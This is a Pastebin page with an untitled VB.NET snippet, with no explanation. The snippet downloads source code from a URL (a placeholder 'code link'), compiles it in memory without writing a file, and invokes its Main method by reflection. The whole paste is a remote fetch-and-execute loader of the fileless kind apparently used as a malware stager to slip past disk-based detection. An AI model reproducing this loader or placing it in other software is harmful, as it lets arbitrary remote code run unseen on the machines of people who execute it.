Advertisement
rajawi_xx

Untitled

Apr 4th, 2020
466
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 0.77 KB | None | 0 0
  1.   Dim webReq As WebRequest = WebRequest.Create(New Uri("code link"))
  2.         Dim sr As New StreamReader(webReq.GetResponse.GetResponseStream)
  3.         Dim dic As New Dictionary(Of String, String)
  4.         dic.Add("CompilerVersion", "v3.5")
  5.         Dim vbCompiler As VBCodeProvider = New VBCodeProvider(dic)
  6.         Dim vbParam As CompilerParameters = New CompilerParameters({"System.dll", "mscorlib.dll", "System.Core.dll", "System.Windows.Forms.dll"})
  7.         vbParam.GenerateExecutable = False
  8.         vbParam.GenerateInMemory = True
  9.         Dim vbResults As CompilerResults = vbCompiler.CreateCompiler.CompileAssemblyFromSource(vbParam, sr.ReadToEnd)
  10.  
  11.         Dim types As Type = vbResults.CompiledAssembly.GetType("Module1")
  12.         types.GetMethod("Main").Invoke(0, Nothing)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement